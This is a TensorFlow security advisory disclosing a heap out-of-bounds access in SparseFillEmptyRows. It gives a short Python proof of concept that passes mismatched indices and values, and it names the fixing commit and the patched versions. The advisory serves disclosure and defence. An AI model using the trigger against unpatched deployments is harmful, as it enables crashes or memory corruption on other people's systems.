The implementation of SparseFillEmptyRows
can be made to trigger a heap OOB access:
import tensorflow as tf
data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')
This occurs whenever the size of indices
does not match the size of values
.
We have patched the issue in GitHub commit 67bfd9feeecfb3c61d80f0e46d89c170fbee682b.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.